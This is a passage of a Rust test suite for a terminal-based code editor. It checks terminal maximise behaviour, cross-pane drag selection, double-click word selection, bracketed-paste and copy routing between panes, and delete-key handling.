    term.draw(|f| app.render(f)).unwrap();
    let editor_area_before_maximise = app.editor.last_area;
    assert!(
        editor_area_before_maximise.width > 0 && editor_area_before_maximise.height > 0,
        "precondition: in split layout with an open file the editor must claim a real rectangle, otherwise the bug we're testing for can't manifest"
    );

    // Trigger the maximize chord.
    let chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    assert!(app.terminal_maximized);

    // Re-render in the maximised layout — this is the frame that
    // used to leave `editor.last_area` stale.
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.editor.last_area.height, 0,
        "after maximise, the editor's hit-test rectangle must have height 0 so `in_editor` cannot match a click that lands on the maximised terminal"
    );

    // Drive a real Left-Drag through the production key/mouse
    // dispatch: anywhere inside the maximised terminal pane. With
    // the fix in place the drag must end up extending the terminal
    // selection, not poking the editor caret.
    let term_area = app.terminal().last_area;
    assert!(
        term_area.width > 4 && term_area.height > 4,
        "precondition: the maximised terminal must own a real rect for the drag to land in"
    );
    let click_col = term_area.x + 2;
    let click_row = term_area.y + 2;
    let drag_col = click_col + 5;
    let drag_row = click_row;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: click_col,
        row: click_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: drag_col,
        row: drag_row,
        modifiers: KeyModifiers::NONE,
    });
    let sel = app.terminal().selection();
    assert!(
        sel.is_some_and(|s| s.has_area()),
        "drag inside the maximised terminal must seed a non-empty selection on the PtyTerminal - if this is None or zero-area the click was eaten by the stale editor hit-test"
    );
}

/// User-visible regression (issue #23): on mobile (Termux) a
/// multiline drag-selection that begins inside the terminal pane and
/// then travels *up* past the terminal's top edge into the editor
/// region must stay local to the terminal. The terminal sits below the
/// editor in the split layout, so a drag headed upward crosses into the
/// editor's rectangle. Before the fix, the editor pane reacted to the
/// out-of-bounds drag and started its own selection, so the user saw
/// text highlighted in BOTH the terminal and the left editor pane. The
/// drag must only ever extend the terminal's own selection (clamped to
/// the terminal grid) and never seed an editor selection.
#[test]
fn multiline_terminal_drag_above_the_pane_does_not_bleed_into_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    // Seed and open a real file so the editor claims a non-empty rect
    // directly above the terminal — the region the upward drag enters.
    let f = tmp.path().join("probe.txt");
    std::fs::write(&f, "alpha\nbeta\ngamma\ndelta\nepsilon\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();

    // Render once in the split layout (editor on top, terminal on the
    // bottom, sharing the same column band).
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let term_inner = app.terminal().last_inner;
    let editor_area = app.editor.last_area;
    assert!(
        term_inner.width > 4 && term_inner.height > 2,
        "precondition: the split terminal must own a real rect"
    );
    assert!(
        editor_area.height > 0 && editor_area.y < term_inner.y,
        "precondition: the editor pane must sit above the terminal so the upward drag crosses into it"
    );

    // The user first has an active selection in the editor pane (e.g. left
    // over from editing). Seed it so the editor owns a real selection band
    // that would render alongside any new terminal selection.
    app.focus_pane(Pane::Editor);
    app.editor.start_selection_at_cursor();
    app.editor.move_right();
    app.editor.move_right();
    app.editor.extend_selection_to_cursor();
    assert!(
        app.editor.selection.is_some_and(|s| s.has_area()),
        "precondition: the editor must hold an active selection before the terminal gesture"
    );

    // Down inside the terminal, a couple of rows below its top edge so
    // there is vertical room to drag upward out of the pane.
    let click_col = term_inner.x + 3;
    let click_row = term_inner.y + 2;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: click_col,
        row: click_row,
        modifiers: KeyModifiers::NONE,
    });
    // Drag UP into the editor region (row above the terminal's top edge)
    // and toward the left — the gesture that used to overflow the pane.
    let drag_col = term_inner.x + 1;
    let drag_row = editor_area.y + 1; // well inside the editor's rectangle
    assert!(
        drag_row < term_inner.y,
        "precondition: the drag end-point must land above the terminal pane"
    );
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: drag_col,
        row: drag_row,
        modifiers: KeyModifiers::NONE,
    });

    // The editor must NOT have started a selection of its own.
    assert!(
        app.editor.selection.is_none_or(|s| !s.has_area()),
        "a terminal drag that overflowed upward must not seed an editor selection - that is the cross-pane bleed reported in issue #23"
    );

    // The terminal's selection head must be clamped to the terminal's
    // own grid: with no scrollback the topmost reachable viewport line
    // is 0 and the column stays within the inner width.
    let sel = app
        .terminal()
        .selection()
        .expect("the terminal Down must have seeded a selection");
    let (head_line, head_col) = sel.head;
    assert!(
        head_line >= 0 && (head_line as u16) < term_inner.height,
        "terminal selection head line {head_line} must clamp inside the terminal viewport (0..{})",
        term_inner.height
    );
    assert!(
        head_col < term_inner.width,
        "terminal selection head col {head_col} must clamp inside the terminal inner width {}",
        term_inner.width
    );
}

/// Cross-pane paste matrix. In production, Cmd+V on macOS does NOT
/// arrive as a key event — `setup-iterm2` deliberately leaves Cmd+V
/// unbound (src/iterm2.rs:225-235) so iTerm2's native Paste action
/// fires and emits a bracketed-paste sequence carrying the OS
/// clipboard into the PTY. crossterm surfaces that as
/// `Event::Paste(s)`, dispatched by `main_loop` to
/// `App::handle_paste(&s)` (src/app.rs:17131).
///
/// This matrix therefore drives `handle_paste` directly with the
/// payload that iTerm2 would have delivered. Every destination
/// (editor, editor-find, search query, file-finder query,
/// terminal, source-control commit box) must consume the payload
/// in BOTH terminal layouts (split + maximised). If a case
/// silently fails here, that's the exact production symptom the
/// user described: "I copied from one place, pasted in another,
/// nothing happened."
#[test]
fn cross_pane_paste_via_bracketed_paste_works_in_every_destination_and_terminal_layout() {
    fn seed_app() -> (tempfile::TempDir, App) {
        let tmp = tempfile::tempdir().unwrap();
        let f = tmp.path().join("probe.txt");
        std::fs::write(&f, "alpha\nbeta\ngamma\n").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open_pinned(&f).unwrap();
        (tmp, app)
    }

    fn render(app: &mut App) -> ratatui::Terminal<ratatui::backend::TestBackend> {
        let backend = ratatui::backend::TestBackend::new(140, 50);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        term
    }

    // Drive a bracketed paste from a non-path token, which is what
    // iTerm2 emits when the user presses Cmd+V with terminal text
    // on the clipboard. Non-path so the drop-handler branches in
    // handle_paste don't divert us into "import into Explorer / scp
    // to Remote / fetch via drop-relay".
    let payload_editor_split = "clip-into-editor-split";
    let payload_editor_max = "clip-into-editor-maximised";
    let payload_find_split = "clip-into-find-split";
    let payload_find_max = "clip-into-find-maximised";
    let payload_search_split = "clip-into-search-split";
    let payload_search_max = "clip-into-search-maximised";
    let payload_finder = "clip-into-file-finder";
    let payload_sc = "clip-into-source-control";

    // -- Case 1: paste into the editor while terminal is split.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Editor);
        app.handle_paste(payload_editor_split);
        assert!(
            app.editor
                .lines
                .iter()
                .any(|l| l.contains(payload_editor_split)),
            "bracketed paste with editor focus + terminal split must insert into the editor buffer; lines={:?}",
            app.editor.lines
        );
    }

    // -- Case 2: paste into the editor while terminal is maximised.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.toggle_terminal_maximize();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Editor);
        app.handle_paste(payload_editor_max);
        assert!(
            app.editor
                .lines
                .iter()
                .any(|l| l.contains(payload_editor_max)),
            "bracketed paste with editor focus + terminal maximised must still insert into the editor; lines={:?}",
            app.editor.lines
        );
    }

    // -- Case 3: paste into the editor-find bar while terminal is
    //    split. The user explicitly named this as broken.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Editor);
        app.open_editor_find();
        app.handle_paste(payload_find_split);
        let q = app
            .editor_find
            .as_ref()
            .map(|s| s.query.clone())
            .unwrap_or_default();
        assert!(
            q.contains(payload_find_split),
            "bracketed paste with editor-find open + terminal split must append to the query; query={q:?}"
        );
    }

    // -- Case 4: paste into the editor-find bar while terminal is
    //    maximised.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.toggle_terminal_maximize();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Editor);
        app.open_editor_find();
        app.handle_paste(payload_find_max);
        let q = app
            .editor_find
            .as_ref()
            .map(|s| s.query.clone())
            .unwrap_or_default();
        assert!(
            q.contains(payload_find_max),
            "bracketed paste with editor-find open + terminal maximised must append to the query - this is the path the user named explicitly; query={q:?}"
        );
    }

    // -- Case 5: paste into the Search sidebar query while
    //    terminal is split.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.set_sidebar_view(SidebarView::Search);
        let _draw = render(&mut app);
        app.handle_paste(payload_search_split);
        assert!(
            app.search.query.contains(payload_search_split),
            "bracketed paste in Search sidebar + terminal split must append to the search query; query={:?}",
            app.search.query
        );
    }

    // -- Case 6: paste into Search sidebar while terminal is
    //    maximised. The user explicitly named the split layout as
    //    failing while maximised worked; both must succeed.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.toggle_terminal_maximize();
        let _draw = render(&mut app);
        app.set_sidebar_view(SidebarView::Search);
        let _draw = render(&mut app);
        app.handle_paste(payload_search_max);
        assert!(
            app.search.query.contains(payload_search_max),
            "bracketed paste in Search sidebar + terminal maximised must also append; query={:?}",
            app.search.query
        );
    }

    // -- Case 7: paste into the embedded terminal while it is
    //    split. The terminal pane consumes the bracketed paste by
    //    writing the bytes back into the PTY.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Terminal);
        // No panic + handler completes is enough. Verifying the
        // PTY received the bytes requires polling the shell which
        // is too timing-fragile for CI.
        app.handle_paste("clip-into-terminal-split");
    }

    // -- Case 8: paste into the embedded terminal while
    //    maximised.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.toggle_terminal_maximize();
        let _draw = render(&mut app);
        app.focus_pane(Pane::Terminal);
        app.handle_paste("clip-into-terminal-maximised");
    }

    // -- Case 9: paste into the Source Control commit message
    //    box while terminal split. NOTE: at the time of writing,
    //    handle_paste has no SourceControl branch — this case
    //    will FAIL until handle_paste learns to route into the
    //    commit message when sidebar_view == SourceControl.
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.set_sidebar_view(SidebarView::SourceControl);
        let _draw = render(&mut app);
        app.handle_paste(payload_sc);
        assert!(
            app.source_control.message.contains(payload_sc),
            "bracketed paste in the Source Control commit box must append the clipboard; got: {:?}",
            app.source_control.message
        );
    }

    // -- Case 10: paste into the file-finder (Cmd+P quick-open).
    {
        let (_tmp, mut app) = seed_app();
        let _draw = render(&mut app);
        app.open_file_finder();
        app.handle_paste(payload_finder);
        let q = app
            .file_finder
            .as_ref()
            .map(|f| f.query.clone())
            .unwrap_or_default();
        assert!(
            q.contains(payload_finder),
            "bracketed paste in the file finder (Cmd+P) must append to the query; query={q:?}"
        );
    }
}

/// Double-clicking a word in the terminal pane must word-select
/// in BOTH terminal layouts. The user reported that double-click
/// "doesn't auto-select" in some state. The detection logic in
/// `handle_mouse` keys off `last_terminal_left_down` + window;
/// the test sends two consecutive Down events on the same cell
/// within DOUBLE_CLICK_WINDOW and asserts a non-empty word
/// selection appears.
#[test]
fn double_click_in_terminal_word_selects_in_split_and_maximised_layout() {
    for maximise in [false, true] {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let backend = ratatui::backend::TestBackend::new(140, 50);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        if maximise {
            app.toggle_terminal_maximize();
            term.draw(|f| app.render(f)).unwrap();
        }
        app.focus_pane(Pane::Terminal);
        let probe = format!("croft-dclick-{}", std::process::id());
        await_terminal_probe(&mut app, &probe);
        term.draw(|f| app.render(f)).unwrap();
        let snap = app.terminal().visible_text();
        let row_idx = snap
            .lines()
            .position(|l| l.contains(&probe))
            .expect("probe must render");
        let line = snap.lines().nth(row_idx).unwrap();
        let mid_col = line.find(&probe).unwrap() + probe.len() / 2;
        let inner = app.terminal().last_inner;
        let screen_y = inner.y + row_idx as u16;
        let screen_x = inner.x + mid_col as u16;

        // Two clicks within the DOUBLE_CLICK_WINDOW on the same
        // cell — same path a real macOS double-click takes.
        for _ in 0..2 {
            app.handle_mouse(crossterm::event::MouseEvent {
                kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
                column: screen_x,
                row: screen_y,
                modifiers: KeyModifiers::NONE,
            });
        }

        let sel_text = app.terminal().selection_text();
        assert!(
            sel_text.contains(&probe) || probe.contains(&sel_text),
            "double-click on the middle of the probe word must word-select the run that contains it in {} layout; got selection={sel_text:?}",
            if maximise { "maximised" } else { "split" }
        );
    }
}

/// #317, the reported gesture end to end: a ctrl+click that matches no link
/// falls past the URL and file arms into the built-in selection path. That
/// path used to arm the double-click tracker regardless of modifiers, so the
/// user's NEXT ordinary click at the same cell classified as a double and
/// word-selected text they never double-clicked.
///
/// The probe word is deliberately link-free and path-free, so the ctrl+click
/// genuinely reaches the fall-through arm rather than being consumed above it
/// - a click that IS consumed would make this test pass without the fix.
#[test]
fn a_ctrl_click_that_opens_nothing_does_not_arm_the_terminal_double_click() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.focus_pane(Pane::Terminal);
    let probe = format!("croftmodclick{}", std::process::id());
    await_terminal_probe(&mut app, &probe);
    term.draw(|f| app.render(f)).unwrap();
    let snap = app.terminal().visible_text();
    let row_idx = snap
        .lines()
        .position(|l| l.contains(&probe))
        .expect("probe must render");
    let line = snap.lines().nth(row_idx).unwrap();
    let mid_col = line.find(&probe).unwrap() + probe.len() / 2;
    let inner = app.terminal().last_inner;
    let screen_y = inner.y + row_idx as u16;
    let screen_x = inner.x + mid_col as u16;

    let click = |app: &mut App, modifiers| {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
            column: screen_x,
            row: screen_y,
            modifiers,
        });
    };

    // The ctrl+click must actually fall through: nothing on this word is a
    // URL or an existing file, so no link opens and no selection is made yet.
    click(&mut app, KeyModifiers::CONTROL);
    // The user's next ordinary click, at the same cell.
    click(&mut app, KeyModifiers::NONE);

    let sel = app.terminal().selection_text();
    assert!(
        !sel.contains(&probe),
        "a plain click after an unmatched ctrl+click must not word-select: the \
         ctrl+click must not have armed the double-click tracker, but selection was {sel:?}"
    );

    // The guard must not have cost the real gesture: two plain clicks still
    // word-select at the same cell.
    click(&mut app, KeyModifiers::NONE);
    let sel = app.terminal().selection_text();
    assert!(
        sel.contains(&probe) || probe.contains(&sel),
        "two ordinary clicks must still word-select; got {sel:?}"
    );
}

/// End-to-end variant of the matrix that exercises the user's
/// exact gesture chain: text on screen in the embedded terminal →
/// real Cmd+C through the terminal pane handler → switch to the
/// destination pane → paste. The clipboard is the per-thread mock
/// (see `crate::clipboard::test_clip`) so both ends ride the same
/// transport every croft Cmd+C / Cmd+V hits in production. Every
/// pair below must succeed in BOTH terminal layouts because the
/// user explicitly demands identical behaviour ("the terminal
/// size should not matter").
#[test]
fn terminal_copy_paste_into_other_panes_works_in_split_and_maximised_layout() {
    // Seed a PtyTerminal grid with a known string, set a selection
    // over it, and trigger the production Cmd+C path so the mock
    // clipboard ends up with the payload. Returns the payload that
    // landed on the clipboard.
    fn copy_terminal_word(app: &mut App) -> String {
        let probe = format!("croft-e2e-{}", std::process::id());
        await_terminal_probe(app, &probe);
        let snap = app.terminal().visible_text();
        let row_idx = snap.lines().position(|l| l.contains(&probe)).unwrap();
        let line = snap.lines().nth(row_idx).unwrap();
        let col_start = line.find(&probe).unwrap();
        let col_end = col_start + probe.len() - 1;
        let inner = app.terminal().last_inner;
        let screen_y = inner.y + row_idx as u16;
        let screen_x_a = inner.x + col_start as u16;
        let screen_x_b = inner.x + col_end as u16;
        app.terminal_mut().start_selection_at(screen_x_a, screen_y);
        app.terminal_mut().extend_selection_to(screen_x_b, screen_y);
        assert_eq!(
            app.terminal().selection_text(),
            probe,
            "terminal selection_text must reproduce the probe before we copy"
        );
        app.copy_terminal_selection();
        probe
    }

    // Drive every destination/layout pair. The clipboard lives on
    // the test thread, so cross-pane wiring is the only thing
    // that can fail here.
    let layouts: &[bool] = &[false, true]; // false = split, true = maximised
    for &maximise in layouts {
        // ---- Destination: Search sidebar ----
        {
            let tmp = tempfile::tempdir().unwrap();
            let mut app = App::new(tmp.path().to_path_buf()).unwrap();
            let backend = ratatui::backend::TestBackend::new(140, 50);
            let mut term = ratatui::Terminal::new(backend).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            if maximise {
                app.toggle_terminal_maximize();
                term.draw(|f| app.render(f)).unwrap();
            }
            app.focus_pane(Pane::Terminal);
            let probe = copy_terminal_word(&mut app);
            // Switch to Search like a real user would (Cmd+Shift+F
            // through the production key path).
            let cmd_shift_f = key(
                KeyCode::Char('F'),
                KeyModifiers::SUPER | KeyModifiers::SHIFT,
            );
            app.handle_key(cmd_shift_f).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            // Simulate the bracketed paste iTerm2 would send on
            // Cmd+V (production path with setup-iterm2 applied).
            let clip = crate::clipboard::read_string()
                .expect("clipboard must hold what copy_terminal_selection just wrote");
            assert_eq!(clip, probe);
            app.handle_paste(&clip);
            assert!(
                app.search.query.contains(&probe),
                "terminal copy -> Search paste must work in {} layout; got query={:?}",
                if maximise { "maximised" } else { "split" },
                app.search.query
            );
        }

        // ---- Destination: editor-find ----
        {
            let tmp = tempfile::tempdir().unwrap();
            let f = tmp.path().join("probe.txt");
            std::fs::write(&f, "alpha\nbeta\ngamma\n").unwrap();
            let mut app = App::new(tmp.path().to_path_buf()).unwrap();
            app.editor.open_pinned(&f).unwrap();
            let backend = ratatui::backend::TestBackend::new(140, 50);
            let mut term = ratatui::Terminal::new(backend).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            if maximise {
                app.toggle_terminal_maximize();
                term.draw(|f| app.render(f)).unwrap();
            }
            app.focus_pane(Pane::Terminal);
            let probe = copy_terminal_word(&mut app);
            // Switch back to editor + open find.
            app.focus_pane(Pane::Editor);
            app.open_editor_find();
            term.draw(|f| app.render(f)).unwrap();
            let clip = crate::clipboard::read_string().unwrap();
            assert_eq!(clip, probe);
            app.handle_paste(&clip);
            let q = app
                .editor_find
                .as_ref()
                .map(|s| s.query.clone())
                .unwrap_or_default();
            assert!(
                q.contains(&probe),
                "terminal copy -> editor-find paste must work in {} layout; got query={q:?}",
                if maximise { "maximised" } else { "split" }
            );
        }

        // ---- Destination: editor body ----
        {
            let tmp = tempfile::tempdir().unwrap();
            let f = tmp.path().join("probe.txt");
            std::fs::write(&f, "alpha\nbeta\ngamma\n").unwrap();
            let mut app = App::new(tmp.path().to_path_buf()).unwrap();
            app.editor.open_pinned(&f).unwrap();
            let backend = ratatui::backend::TestBackend::new(140, 50);
            let mut term = ratatui::Terminal::new(backend).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            if maximise {
                app.toggle_terminal_maximize();
                term.draw(|f| app.render(f)).unwrap();
            }
            app.focus_pane(Pane::Terminal);
            let probe = copy_terminal_word(&mut app);
            app.focus_pane(Pane::Editor);
            term.draw(|f| app.render(f)).unwrap();
            let clip = crate::clipboard::read_string().unwrap();
            assert_eq!(clip, probe);
            app.handle_paste(&clip);
            assert!(
                app.editor.lines.iter().any(|l| l.contains(&probe)),
                "terminal copy -> editor body paste must work in {} layout; lines={:?}",
                if maximise { "maximised" } else { "split" },
                app.editor.lines
            );
        }

        // ---- Destination: source-control commit box ----
        {
            let tmp = tempfile::tempdir().unwrap();
            let mut app = App::new(tmp.path().to_path_buf()).unwrap();
            let backend = ratatui::backend::TestBackend::new(140, 50);
            let mut term = ratatui::Terminal::new(backend).unwrap();
            term.draw(|f| app.render(f)).unwrap();
            if maximise {
                app.toggle_terminal_maximize();
                term.draw(|f| app.render(f)).unwrap();
            }
            app.focus_pane(Pane::Terminal);
            let probe = copy_terminal_word(&mut app);
            app.set_sidebar_view(SidebarView::SourceControl);
            term.draw(|f| app.render(f)).unwrap();
            let clip = crate::clipboard::read_string().unwrap();
            assert_eq!(clip, probe);
            app.handle_paste(&clip);
            assert!(
                app.source_control.message.contains(&probe),
                "terminal copy -> Source Control paste must work in {} layout; msg={:?}",
                if maximise { "maximised" } else { "split" },
                app.source_control.message
            );
        }
    }
}

/// Issue #226: the probe command must not spell the probe out, or the
/// shell's echo of it becomes a second row that matches the grid search
/// (and wins the race under load). Pins both halves of `probe_command`:
/// the echoed text can't contain the probe, and running it still puts the
/// probe on screen.
#[test]
fn the_terminal_probe_command_prints_the_probe_without_echoing_it() {
    let probe = format!("croft-probe-echo-{}", std::process::id());
    let cmd = probe_command(&probe);
    assert!(
        !cmd.contains(&probe),
        "the typed command line must not contain the probe verbatim, or the shell echo matches the grid search alongside the output; got {cmd:?}"
    );
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.terminal_mut().focused = true;
    term.draw(|f| app.render(f)).unwrap();
    // Runs the very command asserted on above, on the same budget every other
    // probe site uses.
    await_terminal_probe(&mut app, &probe);
    let snap = app.terminal().visible_text();
    let rows: Vec<&str> = snap.lines().filter(|l| l.contains(&probe)).collect();
    assert_eq!(
        rows.len(),
        1,
        "exactly one row may carry the probe (the command's output); got {rows:?}"
    );
    assert_eq!(
        rows[0].trim(),
        probe,
        "the matching row must be the printed probe alone, not a command line quoting it"
    );
}

/// User-reported root cause: with the Search sidebar open, Cmd+C /
/// Cmd+V in the terminal silently no-op because the search-editing
/// shortcut guard fired on `focus != Editor`, swallowing the keys
/// into the (empty) search query instead of the focused terminal.
/// Copying from the terminal must work regardless of which sidebar
/// view is showing.
#[test]
fn terminal_cmd_c_copies_even_when_search_sidebar_is_open() {
    // Cross-platform: the assertion reads back via `clipboard::read_string()`,
    // so the per-thread mock validates the Cmd+C-routing logic on every OS.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    term.draw(|f| app.render(f)).unwrap();

    let probe = format!("croft-search-open-{}", std::process::id());
    await_terminal_probe(&mut app, &probe);
    term.draw(|f| app.render(f)).unwrap();
    let snap = app.terminal().visible_text();
    let row_idx = snap.lines().position(|l| l.contains(&probe)).unwrap();
    let line = snap.lines().nth(row_idx).unwrap();
    let col_start = line.find(&probe).unwrap();
    let col_end = col_start + probe.len() - 1;
    let inner = app.terminal().last_inner;
    let screen_y = inner.y + row_idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: inner.x + col_start as u16,
        row: screen_y,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(MouseButton::Left),
        column: inner.x + col_end as u16,
        row: screen_y,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(MouseButton::Left),
        column: inner.x + col_end as u16,
        row: screen_y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.focus == Pane::Terminal,
        "terminal click must focus terminal"
    );
    app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        crate::clipboard::read_string().as_deref(),
        Some(probe.as_str()),
        "Cmd+C in the terminal must copy the terminal selection even when the Search sidebar is the active view"
    );
    assert!(
        app.search.query.is_empty(),
        "Cmd+C in the terminal must NOT leak into the search query; query={:?}",
        app.search.query
    );
}

#[test]
fn ctrl_j_clears_maximize_when_hiding_terminal() {
    // Mental contract: Ctrl+J means "give me my normal layout back."
    // Hiding the terminal must clear the maximize flag so the next
    // Ctrl+J reopen restores the editor+terminal split, not a stuck
    // maximized terminal.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let max_chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    let toggle_chord = key(KeyCode::Char('j'), KeyModifiers::CONTROL);
    app.handle_key(max_chord).unwrap();
    assert!(app.terminal_maximized);
    app.handle_key(toggle_chord).unwrap();
    assert!(!app.show_terminal, "Ctrl+J hides the terminal");
    assert!(
        !app.terminal_maximized,
        "hiding the terminal also clears maximize"
    );
    app.handle_key(toggle_chord).unwrap();
    assert!(app.show_terminal, "Ctrl+J reshows the terminal");
    assert!(
        !app.terminal_maximized,
        "reopened terminal stays in normal split, not maximized"
    );
}

#[test]
fn maximized_terminal_collapses_editor_in_render_layout() {
    // Drive an actual frame and assert the editor pane received zero
    // height while the terminal occupies the full right column. This
    // pins the user-visible behavior, not just the flag.
    use ratatui::{Terminal, backend::TestBackend};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let max_chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(max_chord).unwrap();
    let mut term = Terminal::new(TestBackend::new(120, 40)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.editor.last_area.height, 0,
        "maximized terminal must collapse editor to zero rows"
    );
    assert!(
        app.editor.last_full_area.width > 0,
        "editor still tracks its column for hit-testing"
    );
}

#[test]
fn maximizing_terminal_requests_welcome_image_clear_when_image_was_displayed() {
    // Repro for "wordmark + icon bleed through the maximized terminal":
    // the welcome OSC-1337 image was painted at the editor pane's cells
    // before maximize. Maximizing collapses the editor to zero height
    // and the terminal pane now covers those cells, but iTerm2 still
    // has the image cached at the old cell positions. ratatui's text
    // writes do NOT evict that cache - only a one-shot terminal.clear()
    // does, gated by consume_welcome_image_clear().
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(true);
    let chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    assert!(app.terminal_maximized, "first chord maximizes");
    assert!(
        app.consume_welcome_image_clear(),
        "maximize must arm a one-shot welcome image clear"
    );
}

#[test]
fn maximizing_terminal_is_noop_for_welcome_clear_when_image_was_not_displayed() {
    // No prior emit means iTerm has no cached cells to evict; the clear
    // chain must stay silent so the main loop doesn't pointlessly
    // CSI-2J the screen every time the user toggles maximize before
    // they ever land on the welcome panel.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(false);
    let chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    assert!(app.terminal_maximized);
    assert!(
        !app.consume_welcome_image_clear(),
        "maximize must NOT arm a clear when no image was ever emitted"
    );
}

#[test]
fn restoring_terminal_from_maximize_rearms_welcome_overlay_dirty() {
    // After a clear, the post-draw emitter re-paints the welcome only
    // when welcome_overlay_dirty is true. render_welcome only sets it
    // when the layout *changes*, so if the restored editor area is
    // bit-identical to the pre-maximize area the dirty flag would
    // stay false and the wordmark would never come back. Exit must
    // arm it explicitly.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    assert!(app.terminal_maximized);
    app.overlays.welcome.set_dirty(false);
    app.handle_key(chord).unwrap();
    assert!(!app.terminal_maximized);
    assert!(
        app.overlays.welcome.is_dirty(),
        "exiting maximize must re-arm welcome_overlay_dirty so the wordmark re-paints"
    );
}

#[test]
fn delete_key_is_recognized_as_delete_node() {
    assert!(is_delete_node_key(key(KeyCode::Delete, KeyModifiers::NONE)));
}

#[test]
fn cmd_backspace_is_recognized_as_delete_node() {
    // macOS Finder convention: ⌘⌫ moves the selection to the Trash.
    assert!(is_delete_node_key(key(
        KeyCode::Backspace,
        KeyModifiers::SUPER
    )));
}

#[test]
fn plain_backspace_is_delete_node_on_mac_layouts() {
    // On Mac keyboards the key labeled "delete" reports as Backspace; in
    // the tree pane (the only context this helper is called from) it must
    // trigger deletion to match the user's expectation.
    assert!(is_delete_node_key(key(
        KeyCode::Backspace,
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_d_is_not_delete_node() {
    assert!(!is_delete_node_key(key(
        KeyCode::Char('d'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn open_create_prompt_populates_state() {
    // We can't easily build a full App in a test (PtyTerminal spawns a real
